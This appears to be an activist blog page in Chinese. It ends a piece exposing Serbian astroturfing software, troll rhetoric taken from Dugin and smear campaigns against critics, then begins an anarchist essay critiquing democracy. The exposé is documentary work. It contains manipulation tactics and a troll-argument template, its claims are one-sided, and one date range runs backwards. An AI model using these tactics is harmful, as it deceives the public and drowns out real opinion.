这种快速的信息生产节奏（正如我们在新闻来源的横向条形图中看到的那样）由塞尔维亚三家最大的新闻机构（Tanjug，Beta，FoNet）推动——（您可以理解为中国的头条新闻、人民日报和新浪网），共同产生了超过 60%（黑色）的新闻只是被在线媒体传播；媒体出版社自己制作的原创内容只占全部所分析新闻的四分之一（灰色）。

政治是媒体的政治，每天影响新闻内容是政治战略家最重要的努力之一。但是，正如我们将在接下来的章节中看到的那样，征服新闻内容领域只是第一层，是关于网络社会中人们思想和关注的第一个战场。

– II—征服公众讨论的空间

“在’正常的战争’中，胜利就是是或否的问题; 而在信息战中，它可能

是局部的。几个竞争对手可以在一个人的意识中争夺某些部分。“——《心理战》

在不久的将来，对主要新闻门户网站的评论仍然是一个对塞尔维亚公众来说重要的公众讨论场所。但近年来，这些地方正在被精心策划的入门级政治活动家的网络军队所占领，他们拥有允许使用多种身份的权利，拥有滥用投票机制、分散公众讨论、并在网上创建虚假的公众舆论图的工具。

这种信息战学说被称为 “astroturfing”，或者一些作者将其命名为“反向审查”。就是中国的“五毛”水军使用的方法。

中国人一定很熟悉这种做法，中国当局一直在使用这种基于“分心”的战术，对公众舆论进行操纵，他们伪装成普通人的声音，并在 BAT 集中化不透明算法的推动下，淹没真正的人民的声音。查理卓别林电影“马戏团”中的镜子迷宫场景（*1928*年）

通过在公共讨论中插入多个虚假玩家，他们创造了充满噪音的语话环境，真实的公众舆论被淹没，就像卓别林大师演示的那样，公民在当权者人工创造和精心策划的政治声明的镜像迷宫中迷失。这样一来，以前用于公众讨论的那些地方正在失去其主要作用，成为配备各种武器的政治士兵的战场。

随着越来越多的公开讨论场所被征服，你的个人声音正难以立足。

另一方面，我们可以相信这种做法是阻止个人表达他们的反对意见、并迫使他们参与将被许多人自动攻击的讨论。正如 Nietzsche 所描述的那样，“个人总是不得不努力避免被部落所淹没”。在我们的例子中，部落甚至使用类固醇，他们的表现通过不同的技术工具（多重性和隐形的神奇药剂）增强，不仅仅是伪造舆论，而是作为信息战的有针对性的武器。但是，正如哲学家所说的那样，“如果你尝试挑战它，你只会感到孤立无助，有时会受到惊吓。但是，没有任何代价值得你放弃拥有自我的权利“。

武器库

当美国媒体揭露美国情报部门如何外包间谍活动，利用社交媒体制造虚假舆论抹黑异议人士的时候，几乎所有人都感觉很惊讶，事实上这种操纵方法从社交媒体诞生之初就开始酝酿了。

根据一系列在2014年和2015年由门户网站 Teleprompter.rs 发布的泄

漏文件所显示的，执政党 SNS 一直在使用不同类型的软件，这些软件可用于草根营销和其他舆论操纵手段。党内有一个特殊的“互联网团队”，由具有公关、媒体、互联网和社交网络工作知识的人组成。其中一些人还担任公职，如贝尔格莱德市的议员，或共和国总统媒体办公室的职位。重要的是，要注意到，这些软件已经发展成为一种更为复杂的工具，并且自从最后一次泄漏文件被发布以来，我们完全可以假设，目前任何此类的软件都应该更加复杂和高效了。

以下是3个已知的工具，用于虚假评论和投票操纵：

- Valter：每个 SNS 的活动家都不得不在他们的设备（计算机和/或智能手机）上安装这个软件，这个软件实际上是一个由外部服务器控制的机器人。该软件用于对 Blic，B92，Kurir 和 Novosti 等主要媒体机构的评论给予正面或负面的评价。

政府的互联网团队已经建立了一个服务器，该服务器将发送评论 ID 号以及指向评论和其他形式的反馈应该是“正面”还是“负面”的属性; 然后，软件在本地解析命令并上线以特定方式发布反馈。所有这些都是在没有用户知晓的情况下完成的。由于该软件能够执行诸如在线访问资源（网站）之类的命令，因此它可以很容易地用于执行 DDoS 或其他类型泛洪攻击，

- SkyNet：该程序更像是活动家和聚会的管理平台，但也与外部服务器通信，因此它也可以用于其他目的。该程序可以执行两个主要功能。

首先，它用于跟踪 SNS 活动家在媒体网站上发表的评论。该程序在本地安装，并具有一个用户界面，其中有要评论文章的类别（程序从远程服务器获取这些文章的列表）; 然后，活动家应该被转到精确的文章下，留下评论，并将评论复制粘贴到程序的用户界面中。

之后，程序会跟踪评论是否已发布，一旦发布，它就会通知用户。通过这种方式，当局的互联网团队可以清楚地了解每位活动家（五毛）所做的工作量。

然后，软件使用几个不同的标准对每个评论进行评级; 例如，某些网站上的评论比其他网站更有价值; 如果评论中存在语法错误，则得分较低; 评论越长，得分越高等。该程序包含 Valter 的功能，也可以反馈给已经自动发布过的评论：它使用代理服务器来隐藏用于投票或发布的设备的真实身份。

- Fortress：Fortress 是第三个被当局的互联网团队使用并被揭露的应用程序。与其前两个版本相反，这是一个 Web 应用程序，不需要任何下载安装。该应用程序包含与上述那个 SkyNet 几乎相同的功能，除了使用机器人进行 DDoS 攻击之外（因为它没有在本地安装）。要使用此程序，活动家需要联系 Facebook 上的特定个人并请求访问; 一旦他们被分配了登录凭据，就可用于登录 www.fortress.rs。界面类似于 SkyNet，功能几乎完全相同。

信息战的游戏化

一个有趣的方面是，在信息战和公共操纵的这一部分中，存在一种游戏化系统嵌入过程中。在这种情况下，对公众舆论的操纵被转换成了游戏，其中每个用户的每个评论都被新闻门户授予积分。

巨魔生产力的量化是这种游戏化模型的根源。通过量化他们的活动，信息战中的将军能够更有效地控制和命令，并且通过游戏化，他/她能够在玩家之间获得竞争氛围，彼此之间竞争或者与他们自己的先前结果竞争。

对游戏玩家的奖励超出了纯粹的心理满足感，允许他们爬上排行榜，在政党内获得更好的地位，如果他们幸运的话，他们最终会在任何受体制控制的公司找到工作，那些公司的领导人都由执政党的成员组成——这就是为什么 IYP 一直指出，对中国政府水军的调查不能停留在表面，诸如对资金流的调查，因为这其中有很多被暗示的潜在利益，如上述。于是最好的方法还是 OSINT，即 通过水军的具体行为反向搜索它们的源头。就如我们曾经演示过的一个小案例那样，详见：《网络水军如何试图影响选举？》

游戏的风格

近年来塞尔维亚在线领域开发了两种不同并相结合的认知营销策略，从基于其起源和地理流行程度的方法演变而来，可以称为俄罗斯式的和中国式的。虽然中国的做法标志着纯粹的数字力量（只因为人多），而且大多数只是啦啦队，但俄罗斯人则会更多地处理个性化内容，积极的政治讨论和对“内部敌人”的攻击。我们分头看看这两种模式。

「图」

与内部敌人的争论—俄罗斯右翼政治科学家亚历山大·杜金

（Aleksandr Dugin）正在提出一个修辞框架，这与我们在塞尔维亚在线领域中可以找到的模式非常类似。“很明显，我们国家有两个阵营：爱国阵营（普京，人民和’我们’）和自由派西方阵营（’他们’，你知道是谁）……一个同义词系统被用于应该发展什么样的论战。但是，应该记住，这种同义词需要是对称的。例如，他们称我们为“爱国者”，我们的回应就使用“自由派”和“西方人”（俄语 западники）这两个词。如果那些不是美国的人称我们为’民族主义者’，共产主义者’，’苏维埃’，那么我们的回应将是：“美国影响力的代理人”和“第五纵队”。如果他们使用“纳粹”或“斯大林主义”一词，我们的反应应该是“间谍”，“叛徒”，“中央情报局付给你多少钱？” 或者“间谍死亡”…一个自动爱国的 trolling 软件，消极变形器，meme 和病毒式传播的视频……或类似初级爱国者的吸睛材料也可用于对抗它们。”

「图」

中国的啦啦队📢—长期以来，中国政府一直被怀疑雇用了多达200万人偷偷将大量的假名和其他欺骗性内容插入真实的社交媒体帖子中，就好像他们是普通人的真实意见那样。2016 年6月，哈佛研究人员发表研究报告探索了这个庞大的政府工程，其中，据他们说，每年都有所谓的50C党在全国撰写大约4.48亿社交媒体文章。但是，尽管记者和活动人士先前曾声称50c党占据优势，但研究表明，大约80％的这类水军属于啦啦队类别，13％ 属于非议论性赞扬或建议，在其他类别中则只有微小的数量，包括在议论上赞美或批评或嘲弄外国几乎为零。这是与俄罗斯的绝

大不同。

量化公共讨论领域的污染除了查看泄露的材料和软件外，我们还试图在选举前期间搜索一些可量化和分析塞尔维亚一些最大的在线媒体机构的评论和用户投票的语料库。评论的星系我们分析了 2016 年5月4日至 2016 年4月21日期间塞尔维亚5家最大在线媒体（b92，blic，n1，kurir，telegraf .rs ）的政治部门的评论。在这里，我们将提出一些关于如何想象和理解不同异常情况的想法，这些异常现象可以指出潜在的有组织的政治隐性宣传形式。其中 105.227 条评论中的每一条都表示为一个小圆圈。此地图上较大较亮的“星星”是相同的评论，即在不同的文章和不同的在线媒体门户网站上多次出现。

在这里我们可以清楚地发现，除了政治口号（例如“Dosta je bilo”）之外，还有大量相同的评论，由不同的用户使用，并分布在各种媒体门户网站和不同的新闻文章中。我们认为这是推测网络水军的一个可

用指标。

我们可以清楚地看到存在一些异常情况，例如几乎定期出现超过 5000 个正面或负面评论的反馈，有些评论甚至有超过 50.000 反馈。这些较大的数字实际上往往与被检查网站的唯一访问者数量完全不成比例。

为了查看这些评论和投票数量的动态如何变化，我们以多个泡泡图的形式对其进行了可视化，其中每个评论都是一个泡泡，其大小由投票总数决定。这是为了捕捉公众和潜在的政治内容投票及评论其背后的代理人的注意力。

但是为了深入探索，我们应该在单篇文章的层面上更深入一些。我们选择了一篇基于我们收集的数据显示出一些异常的文章。

在这个例子中，我们可以发现：# 与网站上唯一的用户数量相比，一些投票呈现不成比例的痕迹;

- 随着时间推移，投票的数量有奇怪的高峰；
- 有笨拙的营销痕迹。但我们可以从这个样本中读到的另一个有趣的观点是，营销不仅仅局限于亲政府行为者—它更像是不同政治选择的共同活动。

1. 延伸阅读：《大规模网络钓鱼、监视和在线攻击成为活动家不得不面对的危险》

- 《一个获知20年的通信漏洞不仅能窃听、还能盗取双重身份验证码，为什么不修复？》

剑桥大学研究员 MiljanaRadivojević 和她的电子邮件被攻击的案例则特别有趣。她与一位与她一起工作的同事的私人电子邮件的内容，关于内政部长 NebojšaStefanović 的剽窃论文的故事，在国家电视台的脱口秀节目中被展示出来了。这一行为的目的是摧毁 MiljanaRadivojević 的声誉，在公众面前诋毁她。

在调查记者 DraganaPećo 的案件中出现了另一种诋毁行为。她定期以在线方式向塞尔维亚机构发送“信息自由法案”请求，使用标准表格和手写签名的数字副本撰写请求，然后通过电子邮件发送。在某些时候，她接到了一家国营公司的公关代表的电话，该公司收到了一份 FOI 请求，由该记者“签名”并提交。事实证明，同一个记者签署的相同请求被发送给了若干公共机构和私人公司，是的变成了垃圾邮件，

使用的是 Gmail 注册的电子邮件帐户，但该记者从未使用过这个邮箱，也没有创建过任何 Gmail。这也是一种篡改某人或某个群体声誉的方式，就像美国警方假扮记者对目标人进行社交工程钓鱼。

预告—第二部分：《可视化信息战：社交媒体战场、逮捕和羁押》

——未完待续——

原文

LR 从民主到自由 - iyouport

免费书和纪录片无政府主义社会运动和公民社会长读

【2021年4月14日存档】关于民主，您需要知道的一切

【按】无所谓您自己的“主义”是什么，我们只希望能通过这篇文章帮助人们对当下严重衰落的民主做出一个切实的反思—— 作为一个公民的反思，不是政府资助的那些智库憋出来的哀叹。

近年来对民主将如何进化自身以抵御全球性威权主义崛起的大气候的论述比比皆是，其目的无疑是为了捍卫民主本身所承诺的原则，那些被如今多数自称民主的国家所背弃的原则；很多人进行了崭新的实验，甚至在小范围内取得了成功。

进步的趋势正取决于人类的智慧和思考的积极性。本文也是一种思考，它从一个非常根源的角度分析了当下很多其他思考和实验中也许会出现的问题，并指出了很多似乎更有希望案例。

📌 我们制作这篇文章的目的不仅仅是希望和您一起思考民主和自由，尤其是，希望帮助今天的民主活动家接触到直接行动背后的理论架构。没有理论是无法行动的，只有当您明确地知道什么东西为什么行和为什么不行、自己最想要的是什么的时候，您的行动才能真正富有成效。

请注意，我们不会为某种“主义”背书，所有相关内容都作为探讨，您随时都应该有自己的思考。

您可以下载一本书：《From Democracy to Freedom》以便进一步理解这些问题。我们将在周末上传这本书。也支持您点击其中嵌入的链接，以了解更多详细内容。

民主是当今最普遍的政治理想。乔治·布什援引民主作为入侵伊拉克的理由；奥巴马祝贺解放广场的反叛者将民主带到埃及；“占领华尔街”组织声称已经提炼出民主的纯粹形式 …… 从“朝鲜民主人民共和国”到罗贾瓦自治区，几乎每个政府和民众运动都自称“民主”。

但是，解决民主问题的良方是什么呢？大家都同意：更多的民主。自本世纪初以来，我们看到了一连串的新运动，承诺提供真正的民主，与他们所描述的排他性、强迫性和疏远性的表面化民主制度形成对比。

📌 是否有一条共同的线索能将所有这些不同类型的民主联系在一起？哪一种才是真正的民主？它们中的任何一种都能提供与这个词相关联的包容性和自由吗？

在直接参与民主运动的经验的推动下，活动家们又回到了这些问题上。活动家们得出的结论是，从纽约市到白罗斯、从香港到印度，经济和政治权力的巨大不平衡促使人们走上街头，这并不是特定民主制度的偶然缺陷，而是可以追溯到民主本身起源的结构性特征；它们几乎出现在历代民主政府的每一个例子中。

📌 代议制民主保留了最初为国王服务而发明的所有官僚机构；直接民主则倾向于在较小的范围内，甚至在国家的正式结构之外，重新创造它。民主不等于自决。

可以肯定的是，许多好的东西都经常被描述为“民主”。这并不是反对讨论、组织、集会、网络、联合会，也不是反对与您并不总是同意的人合作。相反，这个论点是，当民主活动家从事这些实践时，如果您把自己所做的事理解为民主—— 作为一种参与式政府的形式，而不是自由的集体实践—— 那么迟早我们会重现与不太民主的政府形式相关的所有问题。代议制民主和直接民主都是如此，甚至共识程序也是如此。

那么，与其把民主程序作为目的来倡导，不如让我们回到当初吸引我们走向民主的价值观：平等主义、包容性、每个人都应该掌握自己命运的理念。如果当下的民主不是实现这些价值观的最有效途径，那么什么才是呢？

随着越来越激烈的斗争冲击着当今的民主制度，这场讨论的利害关系越来越大。📌 如果变革者继续试图用一个更具参与性的版本来取代现行的秩序，他们将继续回到他们开始的地方，而其他与变革者一样感到失望的人则将会愤世嫉俗地倾向于更专制的替代方案 —— 看看特朗普时代是如何崛起的？

我们需要一个能够实现被当下的民主所背叛的承诺的框架。

下面的文字将研究连接不同民主形式的共同线索，追溯民主从古典起

源到当代代议制、直接的和基于共识的变体的发展，并评估民主语话和程序如何为采用它们的社会运动服务。在此过程中也将概述直接而不是通过民主统治来寻求解放的意义。

这个项目是多年跨国对话的结果。作为补充，会增加一些被推崇为直接民主模式的运动参与者的案例研究：西班牙的15M（2011年）、希腊 Syntagma 广场的占领运动（2011年）、美国的 “占领运动”（2011–2012年）、斯洛文尼亚的起义（2012–2013年）、波斯尼亚的全体会议运动（2014年）、和罗贾瓦革命（2012–2016年）。

【注：

1、西班牙15M：又称愤怒者运动，是一系列在西班牙进行的抗议示威活动。该事件开始自2011年5月15日西班牙的58个城市。该系列抗议活动要求对西班牙政治做出激进改变，抗议者认为自己无法被任何传统政党所代表。

2、希腊 Syntagma 广场的占领运动：宪法广场（Syntagma Square）位于希腊国会之前，得名于1843年9月3日奥托国王在起义后批准的希腊宪法。

3、波斯尼亚plenums：“全体会议” 是一种自组织的公民集会，决策的替代性方案。这场浪潮可能代表了真正的激进主义公民身份的诞生，以及每一个根本性社会议题的政治化。在波斯尼亚发生的事将不仅仅停留在波斯尼亚。】

什么是民主

「图」

民主到底是什么？教科书上的大多数定义都与多数人的统治或民选代表的政府有关。而另一方面，少数激进者认为，“真正的” 民主只发生在国家垄断权力之外，并与之相抗衡。我们究竟应该把民主理解为一套具有特定历史的决策程序，还是理解为对平等、包容和参与性政治的普遍渴望？

为了确定我们批判的对象究竟是什么，就先从这个词的本身说起。民主一词来源于古希腊语 dēmokratía，就是 dêmos “人民” 和 krátos “权力” 的组合。这种对人民统治的表述，在拉丁美洲重新出现的是 poder popular，这就引出了一个问题：哪些人？又是什么样的权力？

📌 这些词根 demos 和 kratos 暗示了所有民主的两个共同点：决定谁参与决策的方式，以及执行决定的方式。换句话说，就是公民权和督察权。这些都是民主的基本要素；它们使民主成为了一种政府形式。任何不具备这些条件的东西都更应该被描述为无政府状态—— 没有政府，来自希腊语 an-”没有” 和 arkhos “统治者” 的组合。

民主的共同点：

- 一种确定谁参与决策的方式；(demos)
- 一种执行决策的方式; (Kratos)
- 一个合法决策空间; (polis)
- 以及维持它的资源; (oikos)

谁有资格成为 demos？有些人认为，从词源上讲，**demos** 从来就不是指所有的人，而只是指特定的社会阶层。即使其党派人士大肆宣扬其所谓的包容性，但在实践中，民主总是要求以一种方式来区分被纳入其中和被排除在外的人。

方式可能是立法机构中的地位、投票权、公民身份、成员资格、种族、性别、年龄或参加街头集会；但在每一种民主形式中，要想有合法的决定，就必须有正式的合法性条件，以及符合这些条件的确定群体。

在这方面，民主制度化了其希腊起源的省籍、沙文主义特征，同时它似乎提供了一个可以涉及全世界的模式。这就是为什么民主被证明与民族主义和国家如此兼容的原因；它预设了 “他者”，而 “他者” 没有被赋予同样的权利或政治机构。

在现代民主的黎明，卢梭的《社会契约论》(Of the Social Contract) 中，对包容和排斥的关注已经足够清晰，他强调民主和奴隶制之间并不存在矛盾。他提出，越是 “恶人” 被戴上枷锁，公民的自由就越完美。正如以赛亚·柏林后来所说的，狼的自由就是羊的死亡。这个比喻所表达的自由的零和观念，是国家所赋予和保护的权利语话的基础。

📌 换句话说：公民要想获得自由，国家必须拥有终极权威和全面控制的能力。国家试图生产羊，为自己保留狼的地位。

> “只有在所有人类，男人和女人，都获得自由的情况下，我才能真正获得自由。相反，

相比之下，如果我们把自由理解为累积性的，单个人的自由就变成了

所有人的自由：这不是一个简单的受当局保护的问题，而是以最大限度地增加每个人之间相互交融的可能性问题。在这个框架中，强制力越集中，自由就越少。

这种构想自由的方式是社会性的，而不是个人主义的：它将自由视为集体产生的与我们的潜力的关系，而不是静态的私人权利泡沫。

来看看另一个词根，kratos。民主与贵族制、专制、官僚制、财阀制和技术官僚制共享这个后缀。这些术语中的每一个都用社会中某个子集来描述政府，但它们都有一个共同的逻辑—— 这个共同点就是 kratos，权力。

什么样的权力？再来参考一下古希腊人的观点。

在古希腊，每一个抽象的概念都是由一个神的存在人格化的。Kratos 是一个不可侵犯的泰坦，体现了与国家权力相关的那种强制力。Kratos 出现的最古老的资料之一是古希腊悲剧诗人埃斯库罗斯（Aeschylus）在雅典民主制初期创作的戏剧《普罗米修斯的束缚》。戏剧开场，Kratos 强行押解戴着镣铐的普罗米修斯，普罗米修斯因偷取众神的火种送给人类而受到惩罚。Kratos 以一个狱卒的身份出现，不假思索地执行宙斯的命令—— 一个“为任何暴君的行为而生”的蛮子。

【注：泰坦是希腊神话中曾统治世界的古老的神族，这个家族是天穹之神乌拉诺斯和大地女神盖亚的子女，他们曾统治世界，但因为他们阉割了父亲乌拉诺斯，而受到乌拉诺斯的诅咒，最终被宙斯为首的奥林匹斯神族推翻并取代。】

Kratos 所化身的那种力量是民主与专制和其他一切形式的统治的共同点。它们有着共同的强制机构：法律机构、警察和军队，所有这些机构都先于民主，并一再超越民主。

这些都是“为任何暴君的行为而制造的工具”，无论掌舵的暴君是国王、官僚阶层，还是“人民”自己。正如奥斯卡·王尔德所说的那样，“民主只是意味着人民为了人民而对人民进行的打击”。一个世纪后，穆阿迈尔·卡扎菲不无讽刺地赞许地回应了这句话：“民主就是人民对人民的监督。”

在现代希腊语中，kratos 只是国家的意思。为了理解民主，我们必须更仔细地观察政府本身。

> “就像在绝对政府中国王是法律一样，在自由国家中法律应该是国王。” —— 英裔美国思想家托马斯·潘恩 (Thomas Paine)

垄断合法性

「图」

作为一种政府形式，民主提供了一种方法，可以从各种欲望的嘈杂中产生一种单一的秩序，将少数人的资源和活动吸收到多数人规定的政策中。

在任何民主制度中，都有一个合法的决策空间，有别于其他生活。它可以是议会大厦里的大会，也可以是人行道上的大会，还可以是通过 iPhone 征集选票的应用程序。在每一种情况下，合法性的最终来源都不是我们的直接需求和欲望，而是一种特定的决策过程和协议。在一个国家，这被称为 “法治”，尽管这一原则并不一定需要一个正式的法律体系。

这就是政府的本质：在一个空间做出的决定决定了所有其他空间可以发生的事。其结果是异化 —— 决定的东西和现实的东西之间的摩擦。

民主有望解决这一问题，将每个人都纳入决策空间：所有人的统治。“民主国家的公民之所以服从法律，是因为他们认识到，无论多么间接，他们是作为法律的制定者而服从自己。” 但是，如果所有这些决定实际上是由它们所影响的人作出的，就没有必要采取强制执行的手段了。

在这种赢家通吃的制度下，什么才能保护了少数人？民主的拥护者解释说，少数派将受到制度规定的保护—— “制衡”。换句话说，掌握他们权力的同一个机构应该保护他们不受自己的影响。

在这种方法中，民主和人身自由在根本上是矛盾的：为了保护个人自由，政府必须能够将自由带离所有人。但是，确实值得乐观的是，可以相信，机构永远比维护机构的人更好。

您对民主进程应该凌驾于您自己的良心和价值观之上的想法有多少认同？让我们尝试一个极简的练习。想象一下，您身处一个有奴隶的民主共和国—— 比如说，古雅典，或者古罗马，或者美利坚合众国，直到1865年底。您究竟是会遵守法律，把人当作财产，因为您清楚地

知道，在这期间，整整几代人都可能会在枷锁中生活和死亡？还是说，您会像美国废奴主义者和女权主义者哈里特·塔布曼 (**Harriet Tubman**) 与美国起义领袖约翰·布朗 (**John Brown**) 那样，无视法律，凭着自己的良心行事？

📌 如果您会追随哈里特·塔布曼的脚步，那么说明您也相信有比法治更重要的东西。对于任何想把遵守法律或多数人的意愿作为合法性的最终仲裁者的人来说，这是一个问题。“这是民主而不是无政府状态。我们在国家/地区拥有更改规则的系统。当您在最

原始民主

「图」

在古雅典，这个被人津津乐道的“民主发源地”，我们已经看到了自此以后民主政府的基本特征—— 排斥和强制。只有受过军事训练的成年男性公民才能投票，妇女、奴隶、债务人以及所有缺乏雅典血统的人，都被排除在外。民主制度最多只涉及不到五分之一的人口。

事实上，古雅典的奴隶制比其他希腊城邦更为普遍，女性相对于男性的权利更少。男性公民之间的更大平等显然意味着在抵制妇女和外国人方面的更大团结。参与式政治的空间是一个封闭的共同体。

我们可以从雅典反对派在公有和私有之间—— 就是 polis 和 oikos 之间—— 的对立图中绘制这个封闭式社区的边界。对于 polis，希腊的城邦是一个公共语话空间，公民在其中平等互动；相比之下，oikos 即家庭，是一个等级空间，在这个空间里，男性财产所有者有着至高无上的统治权 —— 这是一个在政治范围之外的区域，但又是其基础。在这种二元对立中，家庭代表着提供维持政治资源的一切，但又被视为理所当然在政治之外。

📌 这些类别今天仍然伴随着这个世界。“政治” (“城市事务”) 和 “警察” (“城市管理”) 这两个词来自 polis，而 “经济” (“家族管理”) 和 “生态” (“家族研究”) 则来自 oikos。

民主仍然以这种划分为前提。只要在政治上存在着公与私的区别，从家庭（以无形的、无偿的劳动来维持现行秩序的性别化的亲密关系空间）到整个大陆和民族 (如殖民时期的非洲—— 甚至黑人本身) 都可能被置于政治领域之外。同样，自民主起源以来就作为民主的基础结构的财产制度和它所产生的市场经济，在被政治机器强制执行和维护的同时，也被置于不容置疑的地位。

> “Are we supposed to believe that before the Athenians, it never really occurred to anyone, anywhere, to gather all the members of their community in order to make joint decisions in a way that gave everyone equal say?”

幸运的是，古雅典并不是平等主义决策的唯一参照点。粗略地调查一下其他社会，就会发现许多其他的例子，其中许多不是以排他性或强制性为前提的。但是，我们是否也应该把这些理解为民主制度呢？

在《无政府主义人类学碎片》这本书中，David Graeber 引述他的同事们认定雅典是民主的起源；他推测，易洛魁人、柏柏尔人、苏拉维西人或塔伦西人的模式没有得到那么多的关注，只是因为他们都不是以投票为中心的。

📌 一方面，格雷伯将我们的注意力引向那些注重建立共识而非实行强制的社会是正确的：其中许多社会比古雅典更体现了与民主相关的最佳价值。另一方面，我们给这些例子贴上真正民主的标签，却质疑发明这个词的希腊人的民主资质，这是没有意义的。

这仍然是民族中心主义：通过在我们自己公认的低劣的西方范式中给予非西方范例以荣誉地位来肯定它们的价值；相反，我们需要承认，民主作为一种可以追溯到斯巴达和雅典并在全世界范围内被效仿的特定历史实践，并没有达到这些其他许多社会所设定的标准，将它们描述为民主是没有意义的。用他们自己的术语来描述和纪念他们，会更负责任，也更准确。

这样一来，我们就只能把雅典作为最初的民主社会了。如果雅典之所以变得如此有影响力，不是因为它有多自由，而是因为它是如何将参与式政治驾驭到国家权力中的呢？

在当时，人类历史上大多数社会都是无国家的，有的社会是等级制的，有的社会是横向的，但没有一个无国家的社会有 kratos 那样的集权。相比之下，现存的国家很难说是平等的。雅典人创新了一种混合形式，在这种混合形式中，水平性与排他性和强制性同时存在。如果您理所当然地认为国家是可取的，或者至少是不可避免的，这听起来很有吸引力；但如果国家本身就是问题的根源，那么古雅典的奴隶制和父权制就不是民主模式的早期不规范了，而是从一开始就编入其**DNA**中的权力失衡的迹象。特洛伊木马

代议制民主 —— 权力的市场

「图」

美国政府与古罗马共和国的共同点多于雅典。罗马公民不是直接治理，而是选举代表来领导一个复杂的官僚体系。随着罗马领土的扩大和财富的涌入，小农失去了立足之地，大量被剥夺财产的人涌入首都；动乱迫使共和国将投票权扩大到越来越广泛的阶层，然而，政治上的包容对抵消罗马社会的经济分层几乎没有作用。这一切听起来似曾相识。

罗马共和国在凯撒夺取政权后宣告结束；从那时起，罗马由皇帝统治。然而对于普通罗马人来说，几乎没有什么变化。官僚机构、军队、经济和法院的运作仍然和以前一样。

快进到18世纪的美国革命。大英帝国的北美子民对“没有代表权的税收”感到愤怒，他们反抗并建立了自己的代议制民主，很快就建立了罗马式的参议院。然而，国家的职能又一次没有改变。那些为甩掉国王而战的人们发现，有代表制的税收并没有什么不同。

结果发生了一系列的起义—— 谢斯起义、威士忌起义、弗里斯起义等等—— 都被残酷地镇压了。新的民主政府在大英帝国失败的地方成功地安抚了民众，这要归功于许多反抗国王的人们的忠诚：因为这个新政府难道不代表他们吗？

📌 这个故事一次又一次地被重复。在1848年的法国革命中，临时政府的警察局长进入国王的警察局长腾出的办公室，拿起了他的前任刚刚放下的文件。在20世纪的希腊、西班牙和智利从独裁到民主的过渡中，以及近年在突尼斯和埃及，推翻独裁者的社会运动不得不继续与民主政权下的警察进行斗争。这就是 **kratos**，也就是有人所说的 **Deep State**，从一个政权延续到下一个政权。

法律、法院、监狱、情报机构、收税人、军队、警察 —— 大多数我们认为在君主制或独裁制下具有压迫性的强制权力工具，在民主制度下也以同样的方式运作。然而，当我们被允许对谁监督它们投下选票时，我们就应该把它们视为“我们已经允许的”，即使它们依旧被用来对付我们。这就是两个半世纪以来民主革命的伟大成就：它们没有废除国王的统治手段，而是使这些手段得到普及了。

自美国革命以来，权力从统治者向议会的转移一直在使革命运动过早地停止。反抗者没有能通过直接行动来实现他们所寻求的变革，而是将这一任务委托给了他们的新代表，由国家来掌舵，结果却看到他们的梦想被出卖。

国家确实很强大，但有一件事它不能做，那就是给臣民带来自由。它不能，因为它的存在就来自于臣民的服从。它可以使他人臣服，它可以征用和集中资源，它可以强加费用和义务，它可以发放权利和特许权—— 给被统治者的安慰奖—— 但它不能提供自决权。**Kratos** 可以统治，但它不能解放。

相反，代议制民主承诺了轮流统治对方的机会：一种分布式的、临时性的王权，就像股市一样散漫、动态，却又等级森严。在实践中，由于这种统治是委派的，所以仍然有一些统治者相对于其他所有人拥有巨大的权力。

通常，像布什和克林顿一样，他们来自一个事实上的统治阶级。这个统治阶级往往占据了社会所有其他等级制度的上层，无论是正式的还是非正式的。即使一个政治家在平民中长大，他越是行使权力，他的利益就越是与被统治者的利益相背离。然而真正的问题并不是政治家的意图，而是国家机器本身。

在争夺国家强制力的指挥权时，竞争者从不质疑国家本身的价值，即使在实践中他们已经发现自己只是国家权力靴子下的草芥。

代议制民主提供了一个压力阀：当人们不满意的时候，他们就会把目光投向下一次选举，把国家本身视为理所当然。事实上，如果您想制止企业的暴利或对环境的破坏，国家本身不是唯一足以完成这一任务的有力工具吗？不要忘了，首先正是国家创造了这些可能的条件。“自由选择主人并不意味着能够废除主人或奴隶。在各种各样的商品和服务中自由选择并不意味着自由，如果这些商品和服务维持着对劳苦和恐惧生活的社会控制 —— 也就是说，如果它们维持着异化。而个人对叠加需求的自发再生产并不能确立自主性，它只能证明控制的有效性。”—— Herbert Marcuse, One-Dimensional Man

民主和政治不平等也就这样了。那么自始至终伴随着民主的经济不平等呢？您也许会认为，基于多数人统治的制度可能会缩小贫富差距，因为穷人占多数。然而，就像在古罗马一样，目前的民主制度的崛起，与之相匹配的是富人和穷人之间的巨大鸿沟。这怎么解释呢？

就像资本主义在欧洲继承了封建主义那样，代议制民主被证明比君主制更可持续，因为它在国家的等级制度中提供了流动性。货币和选票都是权力分级分配的机制，其方式可以减轻等级制度本身的压力。

📌 与封建时代的政治和经济停滞不同，资本主义和民主制度不停地重新分配权力。由于这种动态的灵活性，潜在的反叛者在现行秩序中

提高自己地位的机会比推翻它的机会要更大。因此，反对派往往会从内部给政治制度重新注入活力，而不是威胁它。

代议制民主对于政治的意义就像资本主义对于经济学的意义一样。消费者和选民的欲望由货币来代表，这些货币承诺赋予个人权力，但是，却无情地将最多的权力集中在社会金字塔的顶端。只要权力集中在那里，就可以很容易地阻止、收买或摧毁任何威胁到金字塔本身的人。

这就解释了为什么当有钱有势的人看到自己的利益通过民主制度受到挑战时，他们能够通过迅速中止法律来处理问题—— 看看古罗马的格拉古斯兄弟和现代智利的萨尔瓦多·阿连德的可怕命运吧。在国家的框架内，财产始终凌驾于民主之上。“民主意味着*100%*的人口合作，以确保*51%*的选民有权选择谁来告诉大家做什么。当然，在实践中，这意味着 – 我。”

直接民主：没有国家的政府？

「图」

就这样人类走到了现在。非洲和亚洲都正在出现支持民主的新运动；与此同时，欧洲和美洲许多对代议制民主的失败感到失望的人把希望寄托在直接民主上，从罗马共和国的模式转回雅典的前身。

如果问题是政府对人民的需求反应迟钝，那么解决的办法不就是让政府更具参与性、让人民直接掌握权力，而不是把权力下放给政客吗？

但这到底是什么意思呢？是指对法律而不是立法者进行投票吗？还是推翻现行政府，建立一个由联邦议会组成的政府取而代之？还是其他什么意思？

📌 一方面，如果直接民主只是一种参与性更强、更耗时的国家试点方式，那么它可能会让人们在政府的细节上有更多的发言权，但是，它会保留其固有的中央集权。这里有一个规模问题：比如美国，您能想象2.19亿合格选民直接进行美国政府的活动吗？传统的答案是，地方议会会向地区议会派出代表，而地区议会又会向全国性议会派出代表 —— 但在那里，您已经再次谈到了代议制民主。最好的情况是，您可以想象一个无休止的、由上级下达的一系列全民公决来代替定期选举代表。

这一设想的一个最有力的版本是数字民主，或者说电子民主，由海盗

